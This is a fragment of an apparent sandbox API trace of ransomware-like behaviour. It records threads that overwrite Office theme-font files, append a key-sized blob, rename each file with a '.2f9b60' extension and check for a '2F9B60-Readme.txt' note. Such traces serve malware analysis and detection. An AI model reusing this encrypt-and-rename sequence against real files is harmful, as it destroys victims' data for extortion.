[0161.592] RtlFreeAnsiString (AnsiString="a") [0161.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0161.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0161.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860420) returned 1 [0161.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420550b0) returned 1 [0161.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420523e0) returned 1 [0161.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052410) returned 1 [0161.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420523b0) returned 1 [0161.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052380) returned 1 [0161.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860630) returned 1 [0161.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8601e0) returned 1 [0161.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860090) returned 1 [0161.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050c7c0 [0161.595] wcscat (in: _Dest=0x2050c7c0, _Source="aff40be6f8" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\aff40be6f8") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\aff40be6f8" [0161.595] wcscat (in: _Dest=0x2050c7c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\aff40be6f8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\aff40be6f8.2f9b60" [0161.595] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\aff40be6f8.2f9b60", NtPathName=0x3efdf9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\aff40be6f8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x118e30 [0226.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118e30) returned 1 [0226.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1b5d0) returned 1 [0226.549] NtQueryInformationFile (in: FileHandle=0x15e8, IoStatusBlock=0x3efdfa18, FileInformation=0x3efdfa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3efdfa18, FileInformation=0x3efdfa28) returned 0x0 [0226.549] NtSetInformationFile (FileHandle=0x15e8, IoStatusBlock=0x3efdfa18, FileInformation=0x3efdfa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0233.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c7c0) returned 1 [0233.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86fd0) returned 1 [0233.890] FlushFileBuffers (hFile=0x15e8) returned 1 [0235.032] CloseHandle (hObject=0x15e8) returned 1 [0236.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd64f20 [0236.657] wcscpy (in: _Dest=0x1cd64f20, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0236.657] wcscat (in: _Dest=0x1cd64f20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0236.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0236.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64f20) returned 1 [0236.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027ba50) returned 1 Thread: id = 1410 os_tid = 0x185c [0119.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml")) returned 0x20 [0119.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml", dwFileAttributes=0x20) returned 1 [0119.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17cc [0119.583] GetFileSizeEx (in: hFile=0x17cc, lpFileSize=0x3f1afc60 | out: lpFileSize=0x3f1afc60*=3606) returned 1 [0119.584] SetFilePointerEx (in: hFile=0x17cc, liDistanceToMove=0xe12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.584] ReadFile (in: hFile=0x17cc, lpBuffer=0x3f1afbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f1afc28, lpOverlapped=0x0 | out: lpBuffer=0x3f1afbe0*, lpNumberOfBytesRead=0x3f1afc28*=0x4, lpOverlapped=0x0) returned 1 [0119.657] SetFilePointerEx (in: hFile=0x17cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b40 [0119.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600c0 [0119.658] NtQuerySystemTime (in: CurrentTime=0x3f1afb20 | out: CurrentTime=0x3f1afb20*=132462177250726000) returned 0x0 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x4e9d0911 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x1b9903eb [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x54f14e74 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x686a4a4d [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x278a46c4 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x57e62211 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x6df09b64 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x17c32209 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x7becf507 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x6b6bc6e1 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x212a9dc7 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x143d106c [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x482e1c07 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x2bcfeddb [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x3037137b [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x5bcaec98 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x39e38fe2 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x66a81adf [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0xf4682d [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x384705f6 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x4abd7114 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x5814989d [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x6c9d80f [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x3676f446 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x35305730 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x79428b76 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0xe9470a8 [0119.658] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x629cedd7 [0119.659] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x1a1f2c6 [0119.659] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0xb019470 [0119.659] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x78388686 [0119.659] RtlRandomEx (in: Seed=0x3f1afb10 | out: Seed=0x3f1afb10) returned 0x629cedd7 [0119.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa60 [0119.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85da10 [0119.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0119.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85da10) returned 1 [0119.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8600c0) returned 1 [0119.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c170 [0119.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85da10 [0119.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201b1d40 [0119.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201900b0 [0119.667] ReadFile (in: hFile=0x17cc, lpBuffer=0x201b1d40, nNumberOfBytesToRead=0xe16, lpNumberOfBytesRead=0x3f1afb10, lpOverlapped=0x0 | out: lpBuffer=0x201b1d40*, lpNumberOfBytesRead=0x3f1afb10*=0xe16, lpOverlapped=0x0) returned 1 [0119.667] SetFilePointerEx (in: hFile=0x17cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.671] WriteFile (in: hFile=0x17cc, lpBuffer=0x201900b0*, nNumberOfBytesToWrite=0xe16, lpNumberOfBytesWritten=0x3f1afb14, lpOverlapped=0x0 | out: lpBuffer=0x201900b0*, lpNumberOfBytesWritten=0x3f1afb14*=0xe16, lpOverlapped=0x0) returned 1 [0122.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262bd0 [0122.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611c0 [0122.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611c0) returned 1 [0122.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201900b0) returned 1 [0122.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b1d40) returned 1 [0122.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85da10) returned 1 [0122.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c170) returned 1 [0122.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202611c0 [0122.214] SetFilePointerEx (in: hFile=0x17cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.214] WriteFile (in: hFile=0x17cc, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3f1afc30, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x3f1afc30*=0x106, lpOverlapped=0x0) returned 1 [0123.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0123.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0123.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860360 [0123.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860360) returned 1 [0123.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0123.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860360 [0123.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860300 [0123.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860300) returned 1 [0123.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0123.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cda0670 [0123.027] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="eb") returned 2 [0123.027] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="c1") returned 2 [0123.027] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="63") returned 2 [0123.027] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="5b") returned 2 [0123.027] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="fa") returned 2 [0123.027] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="41") returned 2 [0123.027] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="f0") returned 2 [0123.027] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="74") returned 2 [0123.027] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="a1") returned 2 [0123.027] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="e6") returned 2 [0123.027] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="a0") returned 2 [0123.027] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="4c") returned 2 [0123.027] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="c7") returned 2 [0123.027] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="58") returned 2 [0123.027] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="b2") returned 2 [0123.027] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="04") returned 2 [0123.027] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="d5") returned 2 [0123.027] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="fa") returned 2 [0123.027] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="27") returned 2 [0123.027] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="21") returned 2 [0123.027] RtlInitAnsiString (in: DestinationString=0x3f1afca8, SourceString="ebc1635bfa41f074a1e6a04cc758b204d5fa2721" | out: DestinationString="ebc1635bfa41f074a1e6a04cc758b204d5fa2721") [0123.028] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f1afc78, SourceString="ebc1635bfa41f074a1e6a04cc758b204d5fa2721", AllocateDestinationString=1 | out: DestinationString="ebc1635bfa41f074a1e6a04cc758b204d5fa2721") returned 0x0 [0123.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c0d0 [0123.028] wcscat (in: _Dest=0x1cd64bb0, _Source="ebc1635bfa" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ebc1635bfa") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ebc1635bfa" [0123.028] wcscat (in: _Dest=0x1cd64bb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ebc1635bfa.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ebc1635bfa.2f9b60" [0123.028] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ebc1635bfa.2f9b60", NtPathName=0x3f1afc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\ebc1635bfa.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x42060320 [0123.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060320) returned 1 [0123.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf0d0) returned 1 [0123.347] NtQueryInformationFile (in: FileHandle=0x17cc, IoStatusBlock=0x3f1afcb8, FileInformation=0x3f1afcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f1afcb8, FileInformation=0x3f1afcc8) returned 0x0 [0123.347] NtSetInformationFile (FileHandle=0x17cc, IoStatusBlock=0x3f1afcb8, FileInformation=0x3f1afcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64bb0) returned 1 [0123.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c0d0) returned 1 [0123.349] FlushFileBuffers (hFile=0x17cc) returned 1 [0123.357] CloseHandle (hObject=0x17cc) returned 1 [0123.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac8f0 [0123.358] wcscpy (in: _Dest=0x202ac8f0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0123.358] wcscat (in: _Dest=0x202ac8f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0123.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0123.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac8f0) returned 1 [0123.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027baf0) returned 1 Thread: id = 1411 os_tid = 0x1860 [0119.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml")) returned 0x20 [0119.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml", dwFileAttributes=0x20) returned 1 [0119.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1810 [0119.600] GetFileSizeEx (in: hFile=0x1810, lpFileSize=0x3f3afbc0 | out: lpFileSize=0x3f3afbc0*=3835) returned 1 [0119.600] SetFilePointerEx (in: hFile=0x1810, liDistanceToMove=0xef7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.600] ReadFile (in: hFile=0x1810, lpBuffer=0x3f3afb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f3afb88, lpOverlapped=0x0 | out: lpBuffer=0x3f3afb40*, lpNumberOfBytesRead=0x3f3afb88*=0x4, lpOverlapped=0x0) returned 1 [0119.730] SetFilePointerEx (in: hFile=0x1810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0119.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860150 [0119.730] NtQuerySystemTime (in: CurrentTime=0x3f3afa80 | out: CurrentTime=0x3f3afa80*=132462177251350000) returned 0x0 [0119.730] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x41aa543d [0119.730] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x12aeba80 [0119.730] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x242ca3d [0119.730] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x44021e96 [0119.730] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x6c3d26b2 [0119.730] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x6cc0bc61 [0119.730] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x6c4dc232 [0119.730] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x1cf3d914 [0119.730] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x6ef9ccc0 [0119.730] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x58ed04ec [0119.730] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x48d97e91 [0119.730] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x3c95ff57 [0119.730] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x7e7079fc [0119.730] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x3d740b9d [0119.730] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x6bc3b6b9 [0119.730] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x7c3c4f3c [0119.731] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x1e65783f [0119.731] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x4d99eff5 [0119.731] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x1674fa3 [0119.731] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x3f43225e [0119.731] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x64ae040e [0119.731] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x3c544d26 [0119.731] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x410d0631 [0119.731] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x348fa1b5 [0119.731] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x10f78394 [0119.731] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x34dff11a [0119.731] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x786c3404 [0119.731] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x35c01d54 [0119.731] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x16d9e351 [0119.731] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x20418686 [0119.731] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x7ed35b11 [0119.731] RtlRandomEx (in: Seed=0x3f3afa70 | out: Seed=0x3f3afa70) returned 0x24faf1b7 [0119.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860270 [0119.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec10 [0119.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860390 [0119.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec10) returned 1 [0119.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860150) returned 1 [0119.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c440 [0119.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec10 [0119.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20442eb0 [0119.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2046c360 [0119.741] ReadFile (in: hFile=0x1810, lpBuffer=0x20442eb0, nNumberOfBytesToRead=0xefb, lpNumberOfBytesRead=0x3f3afa70, lpOverlapped=0x0 | out: lpBuffer=0x20442eb0*, lpNumberOfBytesRead=0x3f3afa70*=0xefb, lpOverlapped=0x0) returned 1 [0119.741] SetFilePointerEx (in: hFile=0x1810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.741] WriteFile (in: hFile=0x1810, lpBuffer=0x2046c360*, nNumberOfBytesToWrite=0xefb, lpNumberOfBytesWritten=0x3f3afa74, lpOverlapped=0x0 | out: lpBuffer=0x2046c360*, lpNumberOfBytesWritten=0x3f3afa74*=0xefb, lpOverlapped=0x0) returned 1 [0122.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0122.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202620c0 [0122.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202620c0) returned 1 [0122.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046c360) returned 1 [0122.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20442eb0) returned 1 [0122.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec10) returned 1 [0122.207] RtlFreeHeap 